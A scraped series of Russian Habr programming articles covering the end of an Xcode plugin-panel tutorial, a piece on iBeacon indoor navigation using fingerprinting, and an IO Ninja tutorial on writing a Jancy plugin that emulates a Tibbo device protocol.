DVTSplitView *splitView = [PluginButtonProvider splitViewForWindow:window];//ищем правю панель
PanelView *myView = [[PluginPanel sharedPlugin] myViewForWindow:window];//создаем/получаем наш объект для окна
myView.frame = splitView.bounds;//устанавливаем размеры
[myView setAutoresizingMask:NSViewWidthSizable | NSViewHeightSizable];
for (NSView *sub in splitView.subviews) {//прячем все предыдущие элементы на панели
[sub setHidden:YES];
}
[splitView addSubview:myView];//добавляем наш объект
} else {
DVTSplitView *splitView = [PluginButtonProvider splitViewForWindow:window];//ищем панель
PanelView *myView = [[PluginPanel sharedPlugin] myViewForWindow:window];//создаем/ищем наш объект
[myView removeFromSuperview];//удаляем наш объект из панели
for (NSView *sub in splitView.subviews) {//отображаем все оставшие элементы на панели
[sub setHidden:NO];
}
}
```
Нашим объектом будет объект 'NSView', который будет содержать 'DVTChooserView' и обычную 'NSView', в которую будет добавляться контент плагина. Почему 'DVTChooserView'? Хотелось бы, что бы панель максимально подходила к окну Xcode. Для этого запускаем первый плагин, смотрим левую панель и обнаруживаем, что 'DVTChooserView' — это как раз то, что нам нужно. 'DVTChooserView' содержит в себе 'NSMatrix' с кнопками и хороший делегат, который позволяет нам определить, когда была включена/выключена та или иная кнопка. Так же, данный объект принимает на вход объекты 'DVTChoice' и ими манипулирует. Это максимально удобно, учитывая что 'DVTChoice' содержит в себе иконку, подпись и объект, который будет обрабатывать данный объект.
**Наш объект и добавление элементов**
```
//создаем и настраиваем DVTChooserView
_chooserView = [[NSClassFromString(@"DVTChooserView") alloc] initWithFrame:NSZeroRect];
_chooserView.allowsEmptySelection = NO;
_chooserView.allowsMultipleSelection = NO;
_chooserView.delegate = self;
//метод делегата
- (void)chooserView:(DVTChooserView *)view userWillSelectChoices:(NSArray *)choices {
DVTChoice *choice = [choices lastObject];//получаем выбранный элемент
self.contentView = [[choice representedObject] view];//отображаем его контент
}
//добавляем DVTChoice в наш объект
DVTChoice *plugin = note.object;//приходит от других плагинов
if (plugin) {
NSWindow *window = [[note userInfo] objectForKey:PluginPanelWindowNotificationKey];//для какого окна добавить элемент
PanelView *panel = [self myViewForWindow:window];//берём наш объект для окна
[panel.chooserView.mutableChoices addObject:plugin];//добавляем плагин в DVTChooserView
if (!panel.contentView) {
panel.contentView = [[[[panel.chooserView mutableChoices] lastObject] representedObject] view];//если нет выбранных плагинов, отображаем его контент
}
}
```
Вот и всё. Мы прошли по самым интересным местам нашего третьего плагина. Все исходники лежат [тут](https://github.com/AlexIzh/PluginPanel).
### Добавляем плагин в нашу панель
Только что мы добавили целую панель в Xcode. Теперь давайте её чем-нибудь заполним.
Благодаря тому, что нам не нужно теперь разбираться в тонкостях Xcode, мы можем добавить наш плагин в панель всего лишь тремя строчками кода.
**Три волшебных строчек**
```
NSImage *image = [[NSImage alloc] initWithContentsOfFile:[[NSBundle bundleForClass:[self class]] pathForImageResource:@"plugin_icon"]];//загружаем иконку из бандла плагина
//создаем контроллер, который будет отображать плагин. 1-ая строчка
TPViewController *c = [[TPViewController alloc] initWithNibName:@"TPView" bundle:[NSBundle bundleForClass:self.class]];
//Создаем DVTChoice для отображения иконки плагина. 2-ая строчка
DVTChoice *choice = [[NSClassFromString(@"DVTChoice") alloc] initWithTitle:@"Time" toolTip:@"Time management plugin" image:image representedObject:c];
//Отправляем уведомление нашей панели, что бы она добавила наш плагин к себе. 3-яя строчка
PluginPanelAddPlugin(choice, [[note userInfo] objectForKey:PluginPanelWindowNotificationKey]);
```
Теперь у нас есть своя панель в окне Xcode и мы можем добавить любой плагин на неё. Теперь часть плагинов может быть расположена в одном месте.
Напоследок — пример использования панели — простой time tracker для Xcode.
[TimePlugin](https://github.com/AlexIzh/TimePlugin)
 | https://habr.com/ru/post/256015/ | null | ru | null |
# iBeacon. Мифы и реальность
(картинка с сайта [developer.apple.com](https://developer.apple.com/ibeacon/))
Что это такое?
--------------
В середине 2013 года Apple на конференции для разработчиков внезапно рассказала, что они приготовили новую технологию, предназначенную для навигации внутри помещений, что они начали создавать карты музеев, торговых центров и других интересных мест и вообще, всё круто. Поверив на слово крупной компании, многие стали предлагать «решения» по навигации внутри помещений, но мало у кого получилось что-то работоспособное. Оказалось, что в реальности применять эту технологию достаточно непросто.
Я также принял активное участие в исследовании технологии. Удалось развернуть сеть биконов на мероприятиях [GeekPicnic](http://geek-picnic.me) в Москве и в Санкт-Петербурге, протестировав возможности технологии. После чего я написал библиотеку, которая, используя небольшое количество маяков, достаточно хорошо позволяет определять местоположение внутри помещений.
В статье я коротко опишу, что такое iBeacon, какие задачи мне пришлось с этой технологией решать, что удалось, что не очень.
Что же такое [iBeacon](https://developer.apple.com/ibeacon/)? Это протокол-подмножество Bluetooth Low Energy, который позволяет узнать:
* UUID, Major, Minor для маячка
* силу сигнала от маячка
Выглядит это так:
```
fb0b57a2-8228-44 cd-913a-94a122ba1206 Major 1 Minor 2
```
Использовать iBeacon'ы можно на Айфонах, начиная с 4S, Айпадах, начиная с третьего поколения, iPad Mini, iPod Touch (с пятого поколения), поддержку Андроидов нужно искать в конкретных устройствах, а версия ОС должна быть 4.3 или выше. Также можно использовать компьютеры Macintosh.
Опыт реального использования
----------------------------
Когда мы рассматривали возможные использования технологии, получалось очень красиво:
* навигация,
* отслеживание перемещений (товаров, сотрудников),
* контрольно-пропускные действия,
* реклама.
На практике оказалось, что всё не так просто.
Главное разочарование в том, что навигация получается крайне неточная. В следующем разделе я покажу, как можно сделать адекватную навигацию на биконах, но вообще биконы плохо предназначены для навигации.
Вообще, основной алгоритм работы с биконами — когда пользовательское устройство приближается к нему, появляется нотификация. Тут же хочется ловить все биконы подряд. Но, к сожалению, чтобы нотификацию обработать, нужно написать соответствующее приложение и занести в него параметры конкретного бикона (или конкретного типа биконов, для этого обычно используется UUID, которые у всех нужных биконов одинаковый). То есть нельзя просто так взять и повесить, например, рекламный бикон, чтобы он висел и пиликал всем проходящим. Нужно заставить поставить приложение, которое слушает только те биконы, на которые настроено (настроить на все-все-все тоже нельзя, так как startMonitoringForRegion не даст добавить бесконечное количество регионов):
```
NSString *uuid = @"B9407F30-F5F8-466E-AFF9-25556B57FE6D";
CLBeaconRegion *region = [[CLBeaconRegion alloc]
initWithProximityUUID:[[NSUUID alloc] initWithUUIDString:uuid]
identifier:[NSString stringWithFormat:@"beacon_%@", uuid]];
region.notifyEntryStateOnDisplay = YES;
_locationManager startMonitoringForRegion:region];
[_locationManager startRangingBeaconsInRegion:region];
```
Пиликать также непросто. Скорость реакции устройства (смартфона) — от секунды до пары минут. То есть, пользователь может пройти мимо бикона, походить еще пару минут, только после этого появится уведомление.
Сами биконы — ломаются. Если закупать их много (и это более-менее необходимость для почти всех вариантов использования), то приходится экономить, следовательно, биконы выходят из строя и их нужно заменять. Нет ничего проще, но после замены нужно перепроставлять соответствие конкретному бикону данных (рекламного текста, или координат). Как следствие, в разработке нельзя обойтись только приложением и биконами. Приходится создавать сервер, который должен хранить соответствие информации биконам, а приложению требуется регулярно обновлять данные.
Возвращаясь к реальному использованию. В 2015 году проходило два мероприятия GeekPicnic, в Москве и Санкт-Петербурге. Это мероприятия на открытом воздухе, на которых собирается много различных докладчиков, интересных артефактов, машин, арт-объектов. За два дня мероприятие посещают 25000 человек.
На каждом мероприятии (которое проходит под открытым небом и в нескольких павильонах) десятки интересных объектов. Искать на карте их не очень удобно, поэтому решено было использовать биконы для их обозначения и уведомлений, когда пользователь к ним подходит. Я писал приложение для Айфона, коллеги потом повторяли его для Андроида.
Сама схема работы получилась примерно следующая:
* по всему мероприятию развешаны биконы
* мобильное приложение выступает сканером, уведомляющим посетителя о том, что он подошел к интересному месту
* данные о связи биконов и текстов интересных мест хранятся на сервере и обновляются в мобильном приложении, когда могут (посетителей очень много и связь с сервером непосредственно на мероприятии не очень)
Чтобы избежать «дребезга» и большого количества нотификаций, сохранялись данные по всем биконам вокруг и находился ближайший, причём он должен быть «существенно ближайшим», пока несколько биконов находятся примерно на одинаковом расстоянии, нотификации не проходит.
Также пришлось решить проблему энергопотребления. Чтобы навигация не включалась сразу после установки приложения, во-первых, сканирование биконов включалось только в определенные дни, а во-вторых, только в определенной области (в радиусе нескольких километров от места проведения мероприятия). Забавно было тестировать оба этих условия, пришлось покататься на машине с включенной отладкой, следя за активностью смартфона (причём, в разных состояниях, активном, режиме сна).
В результате всё получилось, а я с коллегами получил бесценный опыт реализации крупного проекта, использующего биконы.
Навигация внутри помещений
--------------------------
Перейдём к технике. Когда говорят про навигацию, обычно подразумевают нахождение местоположения по расстоянию до нескольких точек (так работает GPS, триангуляция местоположения по вышкам сотовой связи и это именно то, про что обычно говорят в фильмах). Алгоритм работы простой:
* мы знаем, где находятся несколько опорных маяков. Спутники это, вышки или биконы — не важно. Главное, точки должны быть определены, и достаточно точно.
* каким-то образом мы определяем расстояние до минимум трёх точек. В реальном мире трёх недостаточно, стараются использовать больше. От точности этих расстояний также зависит точность вычислений.
* по этим расстояниям вычисляется местоположение приёмника (пользователя).
Каждый, кто пробовал это проделать с биконами, быстро понимал бесполезность идеи. Местоположение биконов можно замерить точно, а вот расстояние до них измеряется по мощности сигнала маяка. Эта мощность очень зависит от давления воздуха, влажности, наличия различных препятствий (включая людей и другую живность). Очень — это значит, в несколько раз. Конечно же, софт пытается это сгладить, применяя фильтры и разные алгоритмы, но это не важно. Алгоритм в таких условиях, фактически, не работает (выдаёт крайне неточные результаты).
Подумав немного, я вспомнил, что есть другой вариант. В отличие от «обычного» алгоритма, он не выдаёт точное местоположение пользователя, а, скорее, показывает, в какой области он находится. Но для местоположения внутри помещений часто этого достаточно.
Алгоритм называется fingerprinting, отпечаток местоположения. В общем случае он выглядит так:
* расставляем биконы как-то «адекватно»,
* бегаем по помещению, запоминая, как выглядит картинка по биконам (какие сильнее, какие слабее), снимая «отпечатки» картины биконов в разных местах.
* после того, как сняты отпечатки, пользователь перемещается и смартфон сравнивает текущий отпечаток с теми, что в его памяти. Подобрав ближайший похожий, мы понимаем, в какой области находится пользователь.
Для того, чтобы алгоритм успешно работал, пришлось повозиться. Но в результате получилось очень неплохо.
Непонятный момент был, как именно сохранять отпечатки. Мощности напрямую нельзя (они плавают очень сильно). Попробовал относительные мощности, получилось сильно лучше.
Плавание мощностей заметно даже, если просто крутиться на одном месте. Стоим, поворачиваемся, и картинка меняется кардинально. Поэтому я стал снимать несколько отпечатков, стоя на одном месте. Сами отпечатки получились такие:
```
@property (nonatomic) NSString *uuid;
@property (nonatomic) CLBeaconMajorValue major;
@property (nonatomic) CLBeaconMajorValue minor;
@property (nonatomic) CGFloat relativeDistance; // 0-1 (normalized by the powerful)
@property (nonatomic) CGFloat relativePowerDispersion; // 0-1 (normalized by the most powerful)
```
Я брал эти параметры для каждого видимого бикона в данной точке, и все параметры для всех биконов — и стали отпечатком.
Также хотелось, конечно же, чтобы точка на карте не просто прыгала, а перемещалась по карте. Для этого пришлось интерполировать отпечаток, понимая, между какими областями/точками находится пользователь, и, конечно же, сильно получившийся результат фильтровать. Расстояние между текущим отпечатком и отпечатками регионов вычислялось примерно так:
```
for (Fingerprint *f in in _regions[regionName].fingerprints) {
CGFloat newDistance = [f normalizedDistanceToFingerprint:aBeaconsFingerprint];
CGFloat distance = (CGFloat) (result[regionName] == nil ?
FLT_MAX :
[result[regionName] doubleValue]);
distance = MIN(newDistance, distance);
result[regionName] = @(distance);
}
```
А, собственно, само расстояние между отпечатками, так:
```
- (CGFloat)normalizedDistanceToFingerprint:(NSMutableDictionary *)aBeaconsFingerprint {
// if we do not have a beacon in region fingerprint — add DISTANCE_PENALTY_FOR_ABSENT_BEACON
// if we do not have any beacons, result is "FLT_MAX"
CGFloat result = 0;
BOOL resultIsNotInfinite = NO;
NSArray *regionBeaconIds = [_beaconsFingerprint allKeys];
NSArray *testingBeaconIds = [aBeaconsFingerprint allKeys];
for (NSString *beaconId in regionBeaconIds) {
if (![testingBeaconIds containsObject:beaconId]) {
result += DISTANCE_PENALTY_FOR_ABSENT_BEACON;
} else {
result += fabs(
fabs(((Fingerprint *) _beaconsFingerprint[beaconId]).relativeDistance) -
fabs([aBeaconsFingerprint[beaconId] doubleValue]));
resultIsNotInfinite = YES;
}
}
for (NSString *testingBeaconId in testingBeaconIds) {
if (![regionBeaconIds containsObject:testingBeaconId]) {
result += DISTANCE_PENALTY_FOR_ABSENT_BEACON;
}
}
return resultIsNotInfinite ? result : FLT_MAX;
}
```
Получилось очень хорошо. Настоящее решение потребует продумать систему замены вышедшего из строя бикона (переснимать все отпечатки — плохое решение, это может занять много времени). А при наличии достаточного количества грамотно расставленных биконов (лучше всего их развешивать ближе к потолку, например, но это не единственная рекомендация) — и точность получается хорошая (±несколько метров).
Выводы
------
Сейчас шум вокруг технологии iBeacon поутих. Но задачи никуда не делись. По-прежнему требуется навигация внутри помещений. По-прежнему нужна возможность сообщить посетителям магазина о новых товарах. И делать это сейчас можно не только рекламными банерами, но и вот такими маячками.
Конечно же, реальное их использование не столь прямолинейно, и требуется решать множество задач, чтобы всё заработало, как нужно. Главный вывод более, чем года работы с технологией — она, с определёнными оговорками, жизнеспособна. А дальше уже нужно смотреть, подходит ли она для конкретного применения или нет. Увы, серебряной пули пока не получилось. | https://habr.com/ru/post/278689/ | null | ru | null |
# IO Ninja – программируемый эмулятор терминала/сниффер (часть 3). Пишем «автоответчик»
Продолжаем [цикл статей](http://habrahabr.ru/company/tibbo/blog/255221/) о терминале/сниффере [IO Ninja](http://tibbo.com/ioninja/) и переходим к рассмотрению одной из самых выигрышных сторон новой версии нашего продукта – программируемости. Она открывает новые применения такого, казалось бы, заурядного инструмента, как терминал или сниффер.
Обзор архитектуры плагинов
==========================
Как и в предыдущей, второй версии продукта, исполнимые файлы третьей версии IO Ninja содержат лишь фреймворк необходимых компонентов (включая UI виджеты, движок для логгирования и классы для работы с IO, такие как io.Socket, io.Serial, io.PCap и т.д.). Логика же работы с конкретными транспортами содержится в плагинах, написанных на языке [Jancy](http://tibbo.com/jancy/). Эти плагины лежат в выделенной папке «scripts» в виде исходных кодов и доступны как для ознакомления, так и для редактирования пользователями.
Помимо модификации встроенных плагинов, также имеется возможность дописывать недостающий функционал с помощью пользовательских плагинов двух типов:
1. Сессионный плагин (session plugin) – тяжёлый;
2. Плагин-слой (layer plugin) – лёгкий.
Первый тип плагинов – полноценный сессионный плагин, который создаёт сессию «с нуля». Вот что должно быть реализовано в типичном сессионном плагине:
* Определение формата записей в логе и создание лог-репрезентера – функции, которая превращает записи лога в финальное удобочитаемое представление;
* Формирование UI (меню, кнопки на тулбаре, свойства в редакторе свойств и т.д.);
* Создание транспортных и иных IO-объектов (сокеты, порты, файлы и т.д.);
* Обработка событий от UI-виджетов и IO-объектов и увязывание всего воедино. **Например**по нажатию на кнопку connect надо запустить процесс установки соединения, сделать в логе запись с кодом «начало-установки-соединения» и данными, описывающими адрес удалённого узла; по окончанию установки соединения создать соответствующую запись в логе и обновить UI (в частности, раздизэблить кнопку Send) и т.д.
В принципе, с помощью сессионного плагина можно написать решение для любой задачи, от тестирования некоей последовательности запросов-ответов до полноценного анализатора протоколов. Однако даже без ознакомления с исходным кодом встроенных сессий IO Ninja очевидно, что написание полноценной сессии – это достаточно трудоёмкий процесс, не очень подходящий для быстрого прототипирования и написания «на коленке» тестовых скриптов. Кроме того, совсем не хочется реализовывать заново или копипастить логику работы с транспортным соединением. Ведь это всё уже сделано в стандартных плагинах, как насчёт повторного использования? Наконец, написание полноценной сессии в значительной мере привязывает всё к одному конкретному транспорту, в то время как порой необходимо, например, проверить некую последовательность запросов сразу на нескольких разных транспортах. Аналогично, анализатор протоколов зачастую должен просто разбирать данные вне зависимости от того, по какому транспорту они были доставлены.
Для решения всех вышеперечисленных проблем в IO Ninja предусмотрен второй тип плагинов – лёгкий плагин-слой (layer plugin).
Плагин-слой не может работать сам по себе. Вместо этого он подсоединяется к «несущей» сессии (carrier session) и соответствующим образом расширяет её функциональность. Делать это он может с помощью:
* Изменения лог-репрезентера;
* Присоединения фильтра лога для «маскировки» нежелательных/неинтересных записей;
* Присоединения конвертера лога для генерации вторичного лога с целью декодирования сообщений протокола (это обычно требует также и смены лог-репрезентера);
* Присоединения слушателя лога для наблюдения за событиями несущей сессии и, возможно, для выполнения неких ответных действий;
* Создания своих элементов UI в дополнение к UI несущей сессии.
Плагин-слой – это то, что, скорее всего, и придётся писать для большинства практических задач.
IDE
===
Для облегчения разработки всех видов IO Ninja плагинов на Jancy мы предоставляем родную интегрированную среду разработки IO Ninja IDE. Данная среда основана на [NetBeans Platform](https://netbeans.org/features/platform/index.html) и предоставляет все стандартные средства code assist: синтаксическая подсветка, списки auto-completion, argument-tips, go-to-definition и т.д. Помимо этого, имеются визарды для генерации шаблонов типовых плагинов.
Поставляется данная среда разработки в двух вариациях. Первая – это отдельный пакет IO Ninja IDE, который устанавливается как самостоятельный продукт. Вторая вариация подойдёт разработчикам, уже имеющим и использующим NetBeans для своих проектов (как у нескольких программистов в нашей конторе, включая меня). В этом случае, вместо того, чтобы устанавливать отдельную IO Ninja IDE, можно добавить плагины NetBeans для IO Ninja в уже присутствующую установку NetBeans. Как первый, так и второй вариант можно взять тут: <http://tibbo.com/ioninja/downloads.html>.
Разработчики, по каким-то причинам не любящие NetBeans, или же не признающие IDE как таковые, могут вести разработку плагинов в любимом текстовом редакторе — vim, emacs, sublime, notepad наконец.
Далее мы продемонстрируем процесс создания с нуля типовых плагинов с использованием IO Ninja IDE. В качестве тестового протокола, с которым будут работать наши плагины, возьмём реальный протокол общения программируемых устройств Tibbo с интерактивным кросс-отладчиком. Для тестирования можно использовать Device Explorer, входящий в интегрированную среду разработки TIDE для программируемых устройств Tibbо (скачать TIDE или отдельный Device Explorer можно здесь: <http://tibbo.com/downloads/basic/software.html>).
Итак, приступим.
Автоответчик
============
Первый плагин, который мы напишем, будет эмулировать сервер некоего протокола (в нашем примере – протокола программируемых устройств Tibbo), чтобы помогать нам в тестировании клиентской части данного протокола. Иными словами, наш плагин будет выполнять функции автоответчика, а именно: ждать данных, собирать их в пакеты, анализировать и слать что-то в ответ.
Запускаем IO Ninja IDE (или NetBeans с плагинами для IO Ninja), щёлкаем на пункт меню File->New Project, и выбираем категорию проекта: Categories – IO Ninja, Projects – Plugin Project (если используется отдельная IO Ninja IDE, то данные категории будут единственно доступными). На следующем экране выбираем шаблон плагина Plugin Type – Answering Machine, вбиваем некое осмысленное имя в Project Name (например, TiosEmu) и жмём Next.
После заполнения на следующем экране строковых описателей (Layer Name, Layer Description и т.д) и нажатия на кнопку Finish будет сгенерирован рабочий костяк плагина: в исходном виде плагин шлёт осмысленный ответ на команды «help», «about» и «version», завершённые символами CR (возврат каретки) или LF (перевод строки).
Запустим плагин, чтобы посмотреть на его работу. Как уже было сказано выше, плагин-слой не может работать сам по себе и требует наличия несущей сессии, которая должна обеспечивать транспорт. Когда вы запускаете плагин-слой первый раз, IO Ninja IDE спросит вас, что использовать в качетсве несущей сессии.
Для тестирования выбираем TCP Listener, адаптер «All IPv6 adapters», порт 1001, жмём Listen. Открываем вторую сессию TCP Connection, удалённый адрес "[::1]:1001", жмём Connect (как вы догадались, это была ненавязчивая демонстрация поддержки IPv6, появившейся в версии 3.4.0 ;)
Теперь посылаем команды «help», «about» или «version» (можно кусками) и наслаждаемся результатом:
Теперь давайте немного проанализируем наш плагин. Откроем единственный исходный файл плагина TiosEmuLayer.jnc. Плагин по сути состоит из одного класса TiosEmuLayer, унаследованного от doc.Layer – базового класса для плагинов-слоёв (с помощью Ctrl+Click можно «погулять» по объявлениям API и ознакомиться с фреймворком доступных компонентов IO Ninja).
Посмотрим на конструктор нашего плагина:
```
construct (doc.PluginHost* pluginHost)
{
basetype.construct (pluginHost);
m_rxScanner.construct (scanRx);
pluginHost.m_log.attachListener (onLogRecord @ pluginHost.m_mainThreadScheduler);
}
```
Первая и вторая строчка понятна без комментариев – это, как можно догадаться, вызовы конструкторов родительского класса и поля-члена. А вот последняя строчка требует некоторых пояснений.
Файл лога в IO Ninja представляет собой последовательность записей, каждая из которых содержит таймстамп, целочисленный код записи, а также (опционально) блок произвольных двоичных данных. Сразу отметим, что этот блок несёт не сам текст в том виде, в котором пользователь видит его в окне лога, а необходимые параметры, по которым этот текст можно восстановить (про восстановление текстовых строк лога с помощью функций-репрезентеров будет более подробно рассказано в разделе, посвящённом созданию плагина-анализатора протокола).
Когда сессионный плагин получает или отправляет данные – в лог добавляются соответствующие записи. Плагин-слой может «мониторить» лог на предмет появления новых записей, отбирать из них те, которые представляют интерес (например, RX) и выполнять некие действия в ответ.
Данная модель – хотя поначалу она может казаться несколько неестественной (почему бы вместо лога не мониторить события сразу на сокете?), – была выбрана по целому ряду параметров: проста в реализации, прозрачна и предсказуема, обеспечивает стандартизацию во взаимодействиях плагинов произвольной природы, подходит для создания каскадов обработки, не вносит сильной связности и т.д. Разумеется, у такой модели есть и определённые ограничения, но мы не будем сейчас подробно на этом останавливаться.
Метод attachListener как раз и добавляет слушателя лога. Следующий неочевидный момент — использование собаки @. В языке Jancy собакой @ (читается «at») обозначается бинарный оператор планировки для создания указателей на функции, которые гарантированно будут вызваны в нужном окружении. В данном случае мы хотим, чтобы слушатель был вызван в главном потоке плагина.
Внутри нашего слушателя мы проверяем код записи и, если это log.StdRecordCode.Rx (то есть входящие данные) – передаём его для дальнейшей обработки, а в противном случае – игнорируем:
```
onLogRecord (
uint64_t timestamp,
uint_t recordCode,
void const* p,
size_t size
)
{
if (recordCode == log.StdRecordCode.Rx)
try m_rxScanner.write (p, size);
}
```
Теперь немного остановимся на механизме обработки входящих данных в эмуляторах и анализаторах протоколов.
Коммуникационные протоколы можно условно разделять на категории по различным критериям: уровень протокола в модели OSI, пакетно-ориентированные (message-oriented protocols) и потоково-ориентированные (stream-oriented-protocols), бинарные и текстовые и т.д.
С точки зрения написания анализатора протокола наибольшее значение представляют два фактора:
1. полагается ли протокол на доставку сообщения как целого (или же требуется предварительное накопление);
2. используются ли фиксированные заголовки (или же запросы и ответы имеют различную длину, и требуется разбор языка запросов/ответов неким парсером).
Например, протоколы стека TCP/IP вплоть до транспортного уровня включительно полагаются на доставку сообщений как целого и используют фиксированные заголовки, а на уровнях выше возможны варианты: скажем, DHCP полагается на доставку как целого и использует заголовки, а HTTP работает с потоком и использует текстовые запросы/ответы.
В случае, когда используются фиксированные заголовки, протоколы удобнее всего разбирать с помощью поддерживаемого языком Jancy и хорошо знакомого программистам C/C++ механизма структур, указателей и адресной арифметики. Здесь здорово поможет тот факт, что Jancy имеет высокую степень совместимости с C/C++ — это позволяет просто копировать C-определения заголовков протоколов из общедоступных источников и напрямую вставлять их в Jancy-скрипт (иногда не требуется даже косметических изменений).
К сожалению, данный механизм совершенно не подходит для разбора протоколов, относящихся к противоположной категории, а именно, когда вместо прохода по структурам заголовков надо анализировать язык запросов/ответов. В этом случае требуется некий *парсер* — значит, логично применить методологию, которая используется при построении компиляторов. Справедливости ради надо отметить, что грамматика языка запросов ответов в протоколах, как правило, неизмеримо проще таковой в пусть даже самых примитивных языках программирования.
Итак. Первый этап в каскаде компиляции – это лексический анализ (или токенизация), то есть разбиение на лексемы и превращение входного потока символов в поток токенов. Модуль, выполняющий эту задачу, называется лексер (или сканер). В отличие от компиляторов, работающих с файлами, написание лексера для потокового протокола осложнено тем, что далеко не всегда легко разбить входной IO поток на юниты компиляции.
В Jancy, как в языке, который специально создавался под использование в IO Ninja, имеется удобное средство для разбора IO потоков. Это встроенный генератор инкрементальных лексических анализаторов. Он работает по принципу известных инструментов типа [Lex](http://en.wikipedia.org/wiki/Lex_(software)), [Flex](http://en.wikipedia.org/wiki/Flex_lexical_analyser), [Ragel](http://www.complang.org/ragel/) и т.д. Посмотрим на код, сгенерированный визардом:
```
jnc.AutomatonResult automaton TiosEmuLayer.scanRx ()
{
%% "about" [\r\n]
try transmitString ("IO Ninja - Tios Emu\r\n");
%% "version" [\r\n]
try transmitString ("Version 1.0.0\r\n");
%% "help" [\r\n]
try transmitString ("This is a starting point for your test utility\r\n");
%% .
// ignore everything else
}
```
Функции-автоматы компилируются в ДКА для распознавания лексем, каждая из которых описана с помощью регулярного выражения. Когда автомат обнаруживает лексему, он выполняет соответствующее ей действие.
Саму функцию-автомат вызвать напрямую нельзя – ведь надо где-то хранить состояние автомата (в том числе и накопленную часть лексемы). Для этой цели используется объект класса jnc.Recognizer, а уже он будет неявно вызвать наш автомат, производить необходимые переходы между состояниями, откаты, накопление символов лексемы и т.д.
Вот экземпляр этого класса в сгенерированном плагине:
```
class TiosEmuLayer: doc.Layer
{
jnc.Recognizer m_rxScanner;
// ...
}
```
В качестве понятной всем аналогии можно привести следующий пример. Имеется игровая приставка и имеется диск с игрой. Чтобы поиграть в игру, надо вставить в приставку диск. При этом игру можно будет проходить инкрементально, так как состояние прохождения сохранено на жёстком диске приставки. В данном примере замените приставку на экземпляр класса jnc.Recognizer, диск с игрой – на функцию-автомат, а прохождение игры – на разбор входного потока, и всё встанет на свои места.
Но довольно теории, займёмся практикой: давайте добавим нашему плагину распознавание команд TiOS.
Во-первых, TiOS работает через UDP, а значит, инкрементальный разбор с сохранением состояния между полученными сегментами данных не имеет смысла и даже вреден: одна датаграмма – одна команда. Поэтому вместо jnc.Recognizer.write мы будем использовать метод jnc.Recognizer.recognize (который разворачивается в последовательность reset, write, eof)
Далее, так как TiOS-устройство в изначальном состоянии вообще не имеет IP-адреса (он должен быть назначен крутящимся на устройстве приложением – либо из настроек, либо от DHCP-сервера), прямая адресация по IP в общем случае невозможна. Поэтому в TiOS-протоколе используется широковещательный IP-адрес для общения с устройством, а для адресации устройства при широковещательной рассылке используется MAC-адрес в теле пакета.
**Примечание**MAC-адрес ethernet-фрейма, кстати, не обязан быть широковещательным. Многие современные свичи искусственно ограничивают разрешённую скорость широковещательного трафика, поэтому наш интерактивный кросс-отладчик TIDE использует PCap для генерации UDP-фреймов, в которых IP – широковещательный, а вот MAC – конкретного устройства.
Добавим поле с MAC нашего фиктивного устройства в класс плагина (обратите внимание на hex-литерал — средство языка Jancy удобного задания «захардкоженных» бинарных констант, например, иконок, курсоров, публичных ключей и т.д.):
```
typedef uchar_t MacAddress [6];
class TiosEmuLayer: doc.Layer
{
MacAddress m_macAddress = 0x"1 2 3 4 5 6";
char const* m_macAddressString = formatMacAddress (m_macAddress);
// ...
}
```
Напишем парочку хелперов для работы с MAC-адресами – ведь нам надо будет проверять на соответствие MAC-адреса пришедших команд, а также добавлять MAC в ответные пакеты. **Исходный код**
```
MacAddress parseMacAddress (char const* string)
{
MacAddress address;
char const* p = string;
for (size_t i = 0; i < 6; i++)
{
address [i] = (uchar_t) atoi (p);
p = strchr (p, '.');
if (!p)
break;
p++;
}
return address;
}
char const* formatMacAddress (MacAddress address)
{
return $"%1.%2.%3.%4.%5.%6" (
address [0],
address [1],
address [2],
address [3],
address [4],
address [5]
);
}
```
Помимо MAC-префикса любой TiOS-пакет может быть завершён суффиксом для идентификации и сопоставления запросов и ответов (некий аналог sequence number/acknowledgment number в TCP) – если запрос содержал такой суффикс, то и ответ на этот запрос должен иметь тот же суффикс.
Наш плагин-эмулятор будет поддерживать команды "?" (echo), «X» (get-device-status), «PC» (get-vm-status), «B» (buzz) – этого достаточно, чтобы его было видно из Tibbo Device Explorer. Первая команда используется для авто-обнаружения устройств в локальном сегменте, вторая и третья команда возвращают расширенный статус устройства и виртуальной машины.
Итак, ваяем анализатор пакетов с использованием функций-автоматов.
```
TiosEmuLayer.onLogRecord (
uint64_t timestamp,
uint_t recordCode,
void const* p,
size_t size
)
{
if (recordCode != log.StdRecordCode.Rx)
return;
bool result = try m_packetScanner.recognize (scanPacket, p, size);
if (!result)
m_reply = "C";
else if (!m_reply)
return;
char const* id = strchr (p, '|'); // find id - if there's any
try transmitString ($"[$m_macAddressString]$m_reply$id");
}
jnc.AutomatonResult automaton TiosEmuLayer.scanPacket (jnc.Recognizer* recognizer)
{
%% "_?"
m_reply = "A";
%% "_[" (\d+ '.')* \d+ ']'
MacAddress address = parseMacAddress (recognizer.m_lexeme + 2);
if (memcmp (address, m_macAddress, sizeof (address)) != 0)
{
m_reply = null;
return jnc.AutomatonResult.Stop; // don't scan further
}
recognizer.m_automatonFunc = scanCommand; // change automaton
}
```
Функция onLogRecord передаёт RX данные для анализа в функцию-автомат scanPacket и после этого шлёт ответный пакет (или молча завершает работу, если ответ не нужен). Для формирования ответных пакетов используются форматирующие литералы языка Jancy (Perl-подобное форматирование).
Автомат scanPacket демонстрирует крайне полезную возможность разбора мультиязыковых входных данных (аналог fgoto/fcall для смены машин в Ragel). После разбора и проверки первой части пакета, содержащей MAC-префикс, мы «прыгаем» на второй автомат, scanCommand, для разбора тела пакета с собственно командой и идентификационным суффиксом:
```
jnc.AutomatonResult automaton TiosEmuLayer.scanCommand (jnc.Recognizer* recognizer)
{
%% id = '|' .*
%% 'X' id?
m_reply = "A/ec8ec901-bb4b-4468-bfb9-bf482589cc17/test!";
%% "PC" id?
m\_reply = "A\*R\*/00/&h A:0000,B:0000,PC:00000000,SP:00,FL:Z\*\*/65535";
%% 'B' id?
m\_reply = "A";
}
```
Второй автомат демонстрирует возможность определения именованных регулярных выражений для их последующего использования. Отметим, что стандартные классы символов типа пробелов, десятичных цифр и т.д. не нуждаются в специальных определениях и доступны, как и в Perl, через escape-последовательности \d, \D, s, \S, \w, \W.
Запускаем наш плагин на несущей UDP-сессии, выбираем адаптер «All IPv4 Adapters» и открываем порт 65535. Мы хотим, чтобы наш плагин отвечал на тот адрес, с которого пришёл запрос — для этого устанавливаем флажок Auto-switch Remote Address (кнопочка с компасом). Теперь запускаем Device Explorer и видим фиктивное устройство, порождённое нашим эмулятором. Фанфары, салют, туш.
